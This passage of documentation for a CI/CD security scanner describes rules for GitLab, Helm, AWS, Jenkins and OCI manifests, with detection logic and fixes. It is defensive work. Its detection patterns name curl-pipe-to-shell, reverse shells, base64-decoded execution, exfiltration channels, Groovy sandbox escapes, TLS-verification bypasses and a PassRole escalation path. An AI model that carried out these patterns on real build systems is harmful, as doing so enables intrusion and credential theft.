Recommendation. Move any setup logic that touches commit / MR metadata out of the document-root before_script: (and default.before_script: / default.after_script:) and into a dedicated job that opts in via extends: or that runs on a known-safe trigger only. The global before-script runs verbatim before every job in the pipeline (including child pipelines launched by trigger:include:); a single unquoted $CI_COMMIT_TITLE interpolation there is, in effect, that injection in N jobs at once. Quote the value defensively (branch="$CI_COMMIT_REF_NAME") and copy it into a job-local variable before any further use.

Known false positives.

  • Some self-hosted GitLab installations build a diagnostic banner into the global before_script that echos commit metadata for log-correlation purposes. Suppress per pipeline file rather than globally, the rule is checking propagation reach, not intent.

Source: GL-033 in the GitLab CI provider.

HELM-001: Chart.yaml declares legacy apiVersion: v1 MEDIUM 🔧 fix

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. apiVersion lives at the top of Chart.yaml. v1 is Helm 2's format and uses a sibling requirements.yaml for dependencies; v2 is Helm 3's format and inlines them in Chart.yaml alongside a Chart.lock for digest pinning. Without v2 there is no in-tree dependency manifest to lock, which is why HELM-002 only fires on v2 charts.

Recommendation. Bump Chart.yaml to apiVersion: v2 and migrate any sibling requirements.yaml entries into the dependencies: list inside Chart.yaml. Run helm dependency update to regenerate Chart.lock so HELM-002's per-dependency digest check has something to read. Helm 3 has been the default shipping channel since November 2019; the v1 format is kept for read-compat but blocks lockfile-based supply-chain controls.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: HELM-001 in the Helm provider.

HELM-002: Chart.lock missing per-dependency digests HIGH 🔧 fix

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. Three failure shapes:

  1. Chart.yaml declares dependencies but no Chart.lock exists at all.
  2. Chart.lock exists but its dependencies: list is missing entries declared in Chart.yaml (drift after an edit without re-running helm dependency update).
  3. Chart.lock lists every dependency but one or more entries lack a digest: field (lock generated by an old Helm 3 version that didn't always populate it).

v1 charts (HELM-001) are skipped. They predate Chart.lock and use requirements.lock against a sibling requirements.yaml. Fix HELM-001 first.

Recommendation. After every change to dependencies: in Chart.yaml, re-run helm dependency update and commit the regenerated Chart.lock. The lock records the resolved version and a sha256:... digest that helm dependency build verifies on download, without it, a compromised chart repo can swap the tarball under the same version and helm install will happily use the substitute.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Known false positives.

  • Charts with no dependencies (the dependencies: key is absent or empty) pass automatically. There is nothing to lock.

Source: HELM-002 in the Helm provider.

HELM-003: Chart dependency declared on a non-HTTPS repository HIGH 🔧 fix

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. Walks Chart.yaml dependencies: (v2 charts only) and inspects each entry's repository: URL. Accepted schemes:

  • https://, chart-museum / OSS chart repos. The default for public Helm charts.
  • oci://, registry-hosted charts. TLS is enforced by the registry, not the URL scheme; we still accept this shape because Helm 3.8+ pulls OCI charts over HTTPS unless explicitly configured otherwise.
  • file://, in-repo dependency. No network surface.
  • @alias, local alias for a previously registered helm repo add URL. The scheme of the original URL is the user's responsibility (and is captured in the chart consumer's ~/.config/helm/repositories.yaml).

Recommendation. Switch each dependencies[].repository value to an https:// chart repo URL, an oci:// registry reference, or a file:// path for in-repo charts. Plaintext http:// (and other non-TLS schemes like git://) lets any on-path attacker substitute the dependency tarball during helm dependency build; Chart.lock's digest check (HELM-002) only catches that on the next update, not the compromised pull itself.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: HELM-003 in the Helm provider.

HELM-004: Chart dependency version is a range, not an exact pin MEDIUM

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. An exact pin is a string that contains only digits, dots, and at most a single leading v / trailing pre-release or build identifier (1.2.3, v1.2.3, 1.2.3-rc1, 1.2.3+build.5). Anything carrying ^ / ~ / > / < / * / x / X / || / a space (>=4 <5) is treated as a range. The bias is toward false positives, a chart maintainer can suppress per-rule via --ignore-file if they specifically want range semantics, but the default for production charts is a pin.

Recommendation. Replace each dependencies[].version constraint with the exact resolved version from Chart.lock. 17.0.0 instead of ^17.0.0, v1.2.3 instead of ~1.2. Range syntax (^, ~, >=, *, x) lets helm dependency update move every consumer of the chart to a newer dep on the next refresh, even when the lock file looked stable.

Source: HELM-004 in the Helm provider.

IAM-001: CI/CD role has AdministratorAccess policy attached CRITICAL

Evidences: Token-Permissions CI tokens are scoped to the minimum required permissions.

How this is detected. A CI/CD service role with AdministratorAccess attached turns any pipeline compromise into account compromise. The classic anti-pattern: the role started narrow, the pipeline grew, someone attached AdministratorAccess to unblock a deploy, and it never came off.

Recommendation. Replace AdministratorAccess with least-privilege policies.

Source: IAM-001 in the AWS provider.

IAM-002: CI/CD role has wildcard Action in attached policy HIGH

Evidences: Token-Permissions CI tokens are scoped to the minimum required permissions.

How this is detected. Action: '*' (or service-prefix wildcards like s3:*) on an attached policy is functionally equivalent to AdministratorAccess for that resource. The wildcard absorbs every new IAM action AWS adds, so the role's authority grows without any local change.

Recommendation. Replace wildcard actions with specific IAM actions.

Source: IAM-002 in the AWS provider.

IAM-003: CI/CD role has no permission boundary MEDIUM

Evidences: Token-Permissions CI tokens are scoped to the minimum required permissions.

How this is detected. A permissions boundary is the maximum-permission ceiling for a role. Without one, every future PR that attaches another inline / managed policy raises the role's effective authority indefinitely. With a boundary in place, the policy churn happens beneath a fixed cap that your security team owns separately.

Recommendation. Attach a permissions boundary defining max permissions.

Source: IAM-003 in the AWS provider.

IAM-004: CI/CD role can PassRole to any role HIGH

Evidences: Token-Permissions CI tokens are scoped to the minimum required permissions.

How this is detected. iam:PassRole with Resource: '*' lets the principal hand any role to any service. Combined with a service that runs your code (Lambda, ECS, CodeBuild, EC2 Instance Profiles), this is role-hop privilege escalation: launch an ephemeral resource configured with a higher-privileged role, run code under that identity, exfil. Scoping by ARN + iam:PassedToService removes the escalation path.

Recommendation. Restrict iam:PassRole to specific role ARNs and add an iam:PassedToService condition.

Source: IAM-004 in the AWS provider.

IAM-005: CI/CD role trust policy missing sts:ExternalId HIGH

Evidences: Token-Permissions CI tokens are scoped to the minimum required permissions.

How this is detected. A trust policy that lets an external AWS account assume the role without an sts:ExternalId condition is vulnerable to the confused-deputy pattern: a third-party SaaS configured with your role ARN can also be used by another customer of that SaaS to assume your role (if they know the ARN). sts:ExternalId ties the role to a specific tenancy.

Recommendation. Add a Condition requiring sts:ExternalId for external principals.

Source: IAM-005 in the AWS provider.

IAM-006: Sensitive actions granted with wildcard Resource MEDIUM

Evidences: Token-Permissions CI tokens are scoped to the minimum required permissions.

How this is detected. IAM-002 catches Action: "*". IAM-006 catches the more common "scoped action, unscoped resource" pattern on sensitive services (S3/KMS/SecretsManager/SSM/IAM/STS/DynamoDB/Lambda/EC2).

Recommendation. Scope the Resource element to specific ARNs (buckets, keys, secrets, roles).

Source: IAM-006 in the AWS provider.

IAM-007: IAM user has access key older than 90 days HIGH

Evidences: Token-Permissions CI tokens are scoped to the minimum required permissions.

How this is detected. Every user in the account is evaluated. CI/CD tooling that still uses IAM users (older Jenkins agents, GitHub Actions pre-OIDC, third-party schedulers) shows up here. The 90-day window matches the common compliance baseline; rotate sooner if the key is used from on-prem or an untrusted runner.

Recommendation. Rotate or delete IAM access keys older than 90 days. Long-lived static credentials are the #1 way compromised CI credentials get reused across environments, prefer short-lived STS tokens via OIDC federation or an assumed role.

Source: IAM-007 in the AWS provider.

IAM-008: OIDC-federated role trust policy missing audience or subject pin HIGH

Evidences: Token-Permissions CI tokens are scoped to the minimum required permissions.

How this is detected. IAM-005 already covers cross-account AWS principals. This rule targets the OIDC federation path specifically because the blast radius of a missed audience/subject pin is the entire identity provider's tenant base (e.g. all GitHub users, not just your org).

Recommendation. Every Allow statement that trusts a federated OIDC provider (token.actions.githubusercontent.com, GitLab, CircleCI, Terraform Cloud, etc.) must pin both the audience (...:aud = sts.amazonaws.com) and a subject prefix (...:sub matching repo:myorg/*). Without these, any workflow from any tenant can assume the role.

Source: IAM-008 in the AWS provider.

JF-001: Shared library not pinned to a tag or commit HIGH

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. @main, @master, @develop, no-@ref, and any non-semver / non-SHA ref are floating. Whoever controls the upstream library can ship code into your build by pushing to that branch.

Recommendation. Pin every @Library('name@<ref>') to a release tag (e.g. @v1.4.2) or a 40-char commit SHA. Configure the library in Jenkins with 'Allow default version to be overridden' disabled so a pipeline can't escape the pin.

Source: JF-001 in the Jenkins provider.

JF-002: Script step interpolates attacker-controllable env var HIGH

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. $BRANCH_NAME / $GIT_BRANCH / $TAG_NAME / $CHANGE_* are populated from SCM event metadata the attacker controls. Single-quoted Groovy strings don't interpolate so they're safe; only double-quoted / triple-double-quoted bodies are flagged.

Recommendation. Switch the affected sh/bat/powershell step to a single-quoted string (Groovy doesn't interpolate single quotes), and pass values through a quoted shell variable (sh 'echo "$BRANCH"' after withEnv([...])).

Source: JF-002 in the Jenkins provider.

JF-004: AWS auth uses long-lived access keys via withCredentials MEDIUM 🔧 fix

Evidences: Token-Permissions CI tokens are scoped to the minimum required permissions.

How this is detected. Fires when BOTH a credentialsId containing aws is referenced AND an AWS key variable name appears (requires both so an OIDC role binding doesn't false-positive). Also fires when withAWS(credentials: '…') is used, the safe alternative is withAWS(role: '…').

Recommendation. Switch to the AWS plugin's IAM-role / OIDC binding (e.g. withAWS(role: 'arn:aws:iam::…:role/jenkins')) so each build assumes a short-lived role. Remove the static AWS_ACCESS_KEY_ID secret from the Jenkins credentials store once the role is in place.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: JF-004 in the Jenkins provider.

JF-005: Deploy stage missing manual input approval MEDIUM

Evidences: Code-Review Changes merged to the default branch require review.

How this is detected. A stage named deploy / release / publish / promote should either use the declarative input { ... } directive or call input message: ... somewhere in its body. Without one, any push that triggers the pipeline ships to the target with no human review.

Recommendation. Add an input step to every deploy-like stage (e.g. input message: 'Promote to prod?', submitter: 'releasers'). Combine with a Jenkins folder-scoped permission so only release engineers see the prompt.

Source: JF-005 in the Jenkins provider.

JF-006: Artifacts not signed MEDIUM

Evidences: Signed-Releases Release artifacts are cryptographically signed.

How this is detected. Passes when cosign / sigstore / slsa-* / notation-sign appears in executable Jenkinsfile text (comments are stripped before matching).

Recommendation. Add a sh 'cosign sign --yes …' step (the cosign-installer Jenkins plugin handles binary install). Publish the signature next to the artifact and verify it at deploy.

Source: JF-006 in the Jenkins provider.

JF-007: SBOM not produced MEDIUM

Evidences: SBOM Releases publish a software bill of materials.

How this is detected. Passes when a direct SBOM tool token (CycloneDX, syft, anchore, spdx-sbom-generator, sbom-tool) appears in executable code, or when Trivy is paired with sbom / cyclonedx in the same file. Comments are stripped before matching.

Recommendation. Add a sh 'syft . -o cyclonedx-json > sbom.json' step (or Trivy with --format cyclonedx) and archive the result with archiveArtifacts.

Source: JF-007 in the Jenkins provider.

JF-008: Credential-shaped literal in pipeline body CRITICAL 🔧 fix

Evidences: Token-Permissions CI tokens are scoped to the minimum required permissions.

How this is detected. Scans the raw Jenkinsfile text against the cross-provider credential-pattern catalog. Secrets committed to Groovy source are visible in every fork and every build log.

Recommendation. Rotate the exposed credential. Move the value to a Jenkins credential and reference it via withCredentials([string(credentialsId: '…', variable: '…')]).

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Known false positives.

  • Test fixtures and documentation blobs sometimes embed credential-shaped strings (JWT samples, AKIAI... examples). The AWS canonical example AKIAIOSFODNN7EXAMPLE is deliberately NOT suppressed, if it appears in a real pipeline it almost always means a copy-paste from docs was never substituted. Defaults to LOW confidence.

Source: JF-008 in the Jenkins provider.

JF-009: Agent docker image not pinned to sha256 digest HIGH

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. agent { docker { image 'name:tag' } } is not digest-pinned, so a repointed registry tag silently swaps the executor under every subsequent build. Unlike the YAML providers, Jenkins has no separate tag-pinning check, so this one fires at HIGH regardless of whether the tag is floating or immutable.

Recommendation. Resolve each image to its current digest (docker buildx imagetools inspect <ref> prints it) and reference it via image '<repo>@sha256:<digest>'. Automate refreshes with Renovate.

Source: JF-009 in the Jenkins provider.

JF-010: Long-lived AWS keys exposed via environment {} block HIGH 🔧 fix

Evidences: Token-Permissions CI tokens are scoped to the minimum required permissions.

How this is detected. Flags environment { AWS_ACCESS_KEY_ID = '...' } when the value is a literal or plain variable reference. Skips credentials('id') helpers and ${env.X} that resolve at runtime. Matches both multiline and inline environment { ... } forms.

Recommendation. Replace the literal with a credentials-store reference: AWS_ACCESS_KEY_ID = credentials('aws-prod-key'). Better: switch to the AWS plugin's role binding (withAWS(role: 'arn:…')) so the build assumes a short-lived role per run.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: JF-010 in the Jenkins provider.

JF-012: load step pulls Groovy from disk without integrity pin MEDIUM

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. load 'foo.groovy' evaluates whatever exists at the path when the build runs, there's no integrity check, so a workspace mutation can swap the loaded code between runs.

Recommendation. Move shared Groovy into a Jenkins shared library (@Library('name@<sha>')). Those are version-pinned and JF-001 audits them. Reserve load for one-off development experiments.

Source: JF-012 in the Jenkins provider.

JF-013: copyArtifacts ingests another job's output unverified CRITICAL

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. Recognises both copyArtifacts(projectName: ...) and the older step([$class: 'CopyArtifact', ...]) form. If the upstream job accepts multibranch or PR builds, the artifact may have been produced by attacker-controlled code.

Recommendation. Add a verification step before consuming the artifact: sh 'sha256sum -c manifest.sha256' against a manifest the producer signed, or cosign verify over the artifact directly. Restrict the upstream job to non-PR builds via branch protection if verification isn't feasible.

Source: JF-013 in the Jenkins provider.

JF-016: Remote script piped to shell interpreter HIGH 🔧 fix

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. Detects curl | bash, wget | sh, and similar patterns that pipe remote content directly into a shell interpreter inside a Jenkinsfile. An attacker who controls the remote endpoint (or poisons DNS / CDN) gains arbitrary code execution in the build agent.

Recommendation. Download the script to a file, verify its checksum, then execute it. Or vendor the script into the repository.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Known false positives.

  • Established vendor installers (get.docker.com, sh.rustup.rs, bun.sh/install, awscli.amazonaws.com, cli.github.com, ...) ship via HTTPS from their own CDN and are idiomatic. This rule defaults to LOW confidence so CI gates can ignore them with --min-confidence MEDIUM; the finding still surfaces so teams that want cryptographic verification can audit.

Source: JF-016 in the Jenkins provider.

JF-018: Package install from insecure source HIGH 🔧 fix

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. Detects package-manager invocations that use plain HTTP registries (--index-url http://, --registry=http://) or disable TLS verification (--trusted-host, --no-verify) in a Jenkinsfile. These patterns allow man-in-the-middle injection of malicious packages.

Recommendation. Use HTTPS registry URLs. Remove --trusted-host and --no-verify flags. Pin to a private registry with TLS.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: JF-018 in the Jenkins provider.

JF-019: Groovy sandbox escape pattern detected CRITICAL

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. Detects Groovy patterns that bypass the Jenkins script security sandbox: Runtime.getRuntime(), Class.forName(), .classLoader, ProcessBuilder, and @Grab. These give the pipeline (or an attacker who controls its source) unrestricted access to the Jenkins controller JVM, full RCE.

Recommendation. Remove direct Runtime/ClassLoader calls. Use Jenkins pipeline steps instead. Avoid @Grab for untrusted dependencies.

Source: JF-019 in the Jenkins provider.

JF-020: No vulnerability scanning step MEDIUM

Evidences: SAST Project uses static analysis / vulnerability scanning, Vulnerabilities Project scans for and resolves known vulnerabilities.

How this is detected. Without a vulnerability scanning step, known-vulnerable dependencies ship to production undetected. The check recognises trivy, grype, snyk, npm audit, yarn audit, safety check, pip-audit, osv-scanner, and govulncheck. Comments are stripped before matching.

Recommendation. Add a vulnerability scanning step, trivy, grype, snyk test, npm audit, pip-audit, or osv-scanner. Publish results so vulnerabilities surface before deployment.

Source: JF-020 in the Jenkins provider.

JF-021: Package install without lockfile enforcement MEDIUM 🔧 fix

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. Detects package-manager install commands that do not enforce a lockfile or hash verification. Without lockfile enforcement the resolver pulls whatever version is currently latest, exactly the window a supply-chain attacker exploits.

Recommendation. Use lockfile-enforcing install commands: npm ci instead of npm install, pip install --require-hashes -r requirements.txt, yarn install --frozen-lockfile, bundle install --frozen, and go install tool@v1.2.3.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: JF-021 in the Jenkins provider.

JF-022: Dependency update command bypasses lockfile pins MEDIUM 🔧 fix

Evidences: Dependency-Update-Tool Project uses an automated dependency-update tool (Dependabot / Renovate).

How this is detected. Detects pip install --upgrade, npm update, yarn upgrade, bundle update, cargo update, go get -u, and composer update. These commands bypass lockfile pins and pull whatever version is currently latest. Tooling upgrades (pip install --upgrade pip) are exempted.

Recommendation. Remove dependency-update commands from CI. Use lockfile-pinned install commands (npm ci, pip install -r requirements.txt) and update dependencies via a dedicated PR pipeline (e.g. Dependabot, Renovate).

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Known false positives.

  • Common build-tool bootstrapping idioms (pip install --upgrade pip, pip install --upgrade setuptools wheel virtualenv) and security-tool installs (pip install --upgrade pip-audit / cyclonedx-bom / semgrep) are exempted by the DEP_UPDATE_RE tooling allowlist. Other tooling-upgrade idioms not yet on the list can still trip the rule. Defaults to MEDIUM confidence so CI gates can require --min-confidence HIGH to ignore.

Source: JF-022 in the Jenkins provider.

JF-023: TLS / certificate verification bypass HIGH 🔧 fix

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. Detects patterns that disable TLS certificate verification: git config http.sslVerify false, NODE_TLS_REJECT_UNAUTHORIZED=0, npm config set strict-ssl false, curl -k, wget --no-check-certificate, PYTHONHTTPSVERIFY=0, and GOINSECURE=. Disabling TLS verification allows MITM injection of malicious packages, repositories, or build tools.

Recommendation. Remove TLS verification bypasses. Fix certificate issues at the source (install CA certificates, configure proper trust stores) instead of disabling verification.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: JF-023 in the Jenkins provider.

JF-024: input approval step missing submitter restriction MEDIUM

Evidences: Code-Review Changes merged to the default branch require review.

How this is detected. JF-005 already flags deploy stages with no input step. This rule catches the subtler case: the gate exists, but it doesn't actually restrict approvers. submitter accepts a comma-separated list of Jenkins usernames and group names; scope it to the smallest release-eligible pool.

Recommendation. Add a submitter: 'releasers,sre' (or a single role) argument to every input step in a deploy-like stage. Without it, any user with the Jenkins job Build permission can approve a production promotion, the approval gate becomes advisory.

Source: JF-024 in the Jenkins provider.

JF-026: build job: trigger ignores downstream failure MEDIUM

Evidences: Code-Review Changes merged to the default branch require review.

How this is detected. The Jenkins Pipeline plugin defaults wait to true and propagate to true, but either can be flipped per call. wait: false returns immediately; propagate: false continues even when the downstream job fails or is aborted. Both patterns sever the flow-control link between the upstream approval gate and the work the downstream job is about to do.

Recommendation. Remove wait: false and propagate: false from every build job: step, or replace them with an explicit currentBuild.result = build(...).result check. A fire-and-forget trigger can silently ship broken artifacts because the upstream job reports success regardless of what the downstream job actually did.

Source: JF-026 in the Jenkins provider.

JF-028: No SLSA provenance attestation produced MEDIUM

Evidences: Signed-Releases Release artifacts are cryptographically signed.

How this is detected. cosign sign signs the artifact bytes. cosign attest signs an in-toto statement describing how the build ran, builder, source commit, input parameters. SLSA L3 verifiers check the latter so consumers can enforce policy on where and how artifacts were produced.

Recommendation. Add a sh 'cosign attest --predicate=provenance.intoto.jsonl …' step after the build, or integrate the TestifySec witness run attestor. JF-006 covers signing; this rule covers the build-provenance statement SLSA Build L3 requires.

Source: JF-028 in the Jenkins provider.

JF-029: Jenkinsfile contains indicators of malicious activity CRITICAL

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. Distinct from JF-016 (curl pipe) and JF-019 (Groovy sandbox escape). Those flag risky defaults; this flags concrete evidence, reverse shells, base64-decoded execution, miner binaries, exfil channels, credential-dump pipes, shell-history erasure. Runs on the comment-stripped Groovy text so // cosign verify … // webhook.site in a legitimate annotation doesn't false-positive.

Recommendation. Treat as a potential compromise. Identify the commit that introduced the matching stage(s), rotate Jenkins credentials the job can reach, review controller/agent audit logs for outbound traffic to the matched hosts, and re-image the agent pool if the compromise may have persisted.

Known false positives.

  • Security-training repositories, CTF challenges, and red-team exercise pipelines legitimately contain reverse-shell strings or exfil domains as literals. Matches inside YAML keys / HCL attributes whose names contain example, fixture, sample, demo, or test are auto-suppressed; bare lines in a production pipeline still fire.
  • Defaults to LOW confidence. Filter with --min-confidence MEDIUM to ignore all matches; the rule still surfaces the hit for teams that want to spot-check.

Source: JF-029 in the Jenkins provider.

JF-030: Dangerous shell idiom (eval, sh -c variable, backtick exec) HIGH

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. Complements JF-002 (script injection from untrusted build parameters). Fires on intrinsically risky shell idioms, eval, sh -c "$X", backtick exec, regardless of whether the input source is currently trusted.

Recommendation. Replace eval "$VAR" / sh -c "$VAR" / backtick exec with direct command invocation. Validate any value feeding a dynamic command at the boundary, or pass arguments as a list to a real sh step so the shell is not re-invoked.

Known false positives.

  • sh 'eval "$(ssh-agent -s)"' and similar eval "$(<literal-tool>)" bootstrap idioms are intentionally NOT flagged, the substituted command is literal, only its output is eval'd.

Source: JF-030 in the Jenkins provider.

JF-031: Package install bypasses registry integrity (git / path / tarball source) MEDIUM

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. Complements JF-021 (missing lockfile flag). Git URL installs without a commit pin, local-path installs, and direct tarball URLs bypass the registry integrity controls the lockfile relies on.

Recommendation. Pin git dependencies to a commit SHA. Publish private packages to an internal registry (Artifactory, Nexus) instead of installing from a filesystem path or tarball URL.

Source: JF-031 in the Jenkins provider.

KMS-001: KMS customer-managed key has rotation disabled MEDIUM

Evidences: Token-Permissions CI tokens are scoped to the minimum required permissions.

How this is detected. Annual rotation regenerates the underlying key material for the same CMK ARN. Existing ciphertexts can still be decrypted (KMS keeps old material around), but new encrypts use the new material, so a cryptographic exposure (side-channel, an accidental export, an old compromised offline backup) only protects ciphertexts from before the rotation.

Recommendation. Enable annual rotation on every customer-managed KMS key used for CI/CD artifact, log, and secret encryption. Unrotated CMKs keep the same key material indefinitely, so a single cryptographic exposure (side-channel, accidental export) is permanent.

Source: KMS-001 in the AWS provider.

KMS-002: KMS key policy grants wildcard KMS actions HIGH

Evidences: Token-Permissions CI tokens are scoped to the minimum required permissions.

How this is detected. kms:* on a key policy is administrative authority over the cipher boundary: CancelKeyDeletion, ScheduleKeyDeletion, ReEncrypt, UpdateKeyDescription, and the data-plane decrypt actions all collapse into one grant. A CI/CD principal almost never needs more than the data-plane subset (Decrypt / GenerateDataKey / Encrypt).

Recommendation. Replace kms:* grants with specific actions needed by the caller (e.g. kms:Decrypt, kms:GenerateDataKey). Key-policy wildcard grants let any holder of the principal re-key, schedule deletion, or export material at will.

Source: KMS-002 in the AWS provider.

LMB-001: Lambda function has no code-signing config HIGH

Evidences: Signed-Releases Release artifacts are cryptographically signed.

How this is detected. Lambda code-signing config + a Signer profile (SIGN-001) validates that an uploaded zip was signed by a known profile before it's allowed to run. Without one, anyone who reaches lambda:UpdateFunctionCode, a CI/CD role compromise, a misattached IAM policy, can replace the function's code with no chain-of-custody check.

Recommendation. Create an AWS Signer profile, reference it from an aws_lambda_code_signing_config with untrusted_artifact_on_deployment = Enforce and attach that config to the function. Without one, the Lambda runtime will execute any code that a principal with lambda:UpdateFunctionCode uploads.

Source: LMB-001 in the AWS provider.

LMB-002: Lambda function URL has AuthType=NONE HIGH

Evidences: Token-Permissions CI tokens are scoped to the minimum required permissions.

How this is detected. A Lambda function URL with AuthType=NONE is a public HTTPS endpoint. Anyone who knows the URL can invoke. This is sometimes deliberate (a webhook receiver) but the deliberate version typically signs / validates inside the function, the rule fires regardless because the IAM-side control isn't there.

Recommendation. Set the function URL auth_type to AWS_IAM and grant lambda:InvokeFunctionUrl through IAM. NONE exposes the function to the public internet without authentication.

Source: LMB-002 in the AWS provider.

LMB-003: Lambda function env vars may contain plaintext secrets HIGH

Evidences: Token-Permissions CI tokens are scoped to the minimum required permissions.

How this is detected. Lambda env vars are world-readable to any principal with lambda:GetFunctionConfiguration, much wider than the principal that can invoke the function. They also persist in CloudFormation drift, change-sets, and CloudTrail events. A secret in a Lambda env var is essentially exposed to anyone with read access to the account.

Recommendation. Move secrets out of Lambda environment variables and into Secrets Manager or SSM Parameter Store. Environment variables are visible to anyone with lambda:GetFunctionConfiguration and persist in CloudTrail events, which keeps the secret in audit logs.

Source: LMB-003 in the AWS provider.

LMB-004: Lambda resource policy allows wildcard principal CRITICAL

Evidences: Token-Permissions CI tokens are scoped to the minimum required permissions.

How this is detected. A wildcard-principal Allow on a Lambda function resource policy lets anyone invoke. The legitimate case is a service principal (API Gateway, S3 events) where AWS fills in the SourceArn/SourceAccount at invoke time, without those conditions, any account using that service can invoke.

Recommendation. Remove Allow statements with Principal: '*' from every Lambda function resource policy, or scope them with a SourceArn / SourceAccount condition. Service principals (e.g. apigateway.amazonaws.com) are the common legitimate case, ensure they carry a condition.

Source: LMB-004 in the AWS provider.

OCI-001: Image manifest is missing OCI provenance annotations MEDIUM

Evidences: SBOM Releases publish a software bill of materials.

How this is detected. Without these two annotations a pulled image can't be traced back to a source revision, so an incident-response team has no way to reach the build that produced it. The rule fires on whichever layer the manifest carries (top-level for an index, sub-manifest for a per-platform image); DF-016 catches the same gap at Dockerfile authoring time, OCI-001 catches it once the image has been built and any later docker buildx --annotation overrides have already been applied.

Recommendation. Stamp the image with at least org.opencontainers.image.source (the URL of the source repo) and org.opencontainers.image.revision (the commit SHA built into the image). With docker buildx this is --label org.opencontainers.image.source=... plus --label org.opencontainers.image.revision=... at build time, or set them as image annotations through --annotation so they appear on the manifest itself (manifest.annotations is what registries surface to manifest inspect).

Known false positives.

  • Throwaway / scratch images that never leave a developer's machine (e.g. image inspect of an intermediate build stage) don't need provenance annotations. Suppress via ignore-file rather than removing the rule.

Source: OCI-001 in the OCI manifest provider.

OCI-002: Image is missing a build attestation manifest HIGH

Evidences: SBOM Releases publish a software bill of materials, Signed-Releases Release artifacts are cryptographically signed.

How this is detected. Build attestations are the canonical place for SLSA provenance and SBOM data on an OCI image. A multi-platform image index that ships per-architecture manifests but no attestation-manifest sibling means there's no signed record of how the image was built or what's inside it, so consumers can't enforce SLSA Build-L2+ or feed an SBOM into vulnerability triage. A single-platform manifest (no image index) also fails this rule, attestations require the index-of-manifests shape that BuildKit produces by default.

Recommendation. Build the image with docker buildx build --attest=type=provenance,mode=max --attest=type=sbom (or the equivalent BuildKit frontend flags). Both attestations land as sibling sub-manifests inside the image index, annotated with vnd.docker.reference.type: attestation-manifest and linked to their target manifest via vnd.docker.reference.digest. Verify after pushing with docker buildx imagetools inspect <ref>, the Attestations section should list both predicate types.

Known false positives.

  • Intermediate / cache-only images pushed by CI for later-stage consumption may legitimately ship without attestations to keep build artifacts small. Suppress via ignore-file when this is the deliberate shape, the default expectation for any image that reaches a production registry is a full attestation set.
  • Some registries strip the attestation sub-manifests on pull (docker pull of a single platform unwraps the index). If the JSON you're scanning came from docker manifest inspect rather than docker buildx imagetools inspect --raw, attestations may be invisible even when present upstream.

Source: OCI-002 in the OCI manifest provider.

OCI-004: Image layer references an arbitrary URL (foreign layer) HIGH

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. A layer with a urls: field is fetched from whatever URL the manifest declares, not from the registry the image was pulled from. The digest is still verified after the fetch, so a passive attacker can't substitute a different blob, but an attacker who controls the URL endpoint can serve different content depending on the client (server-side cloaking) or simply take the endpoint offline to break image pulls. The rule fires on any layer whose descriptor includes a non-empty urls: array; it doesn't try to validate URL hygiene (HTTPS, allow-list of hosts) since the existence of the field alone is the policy violation.

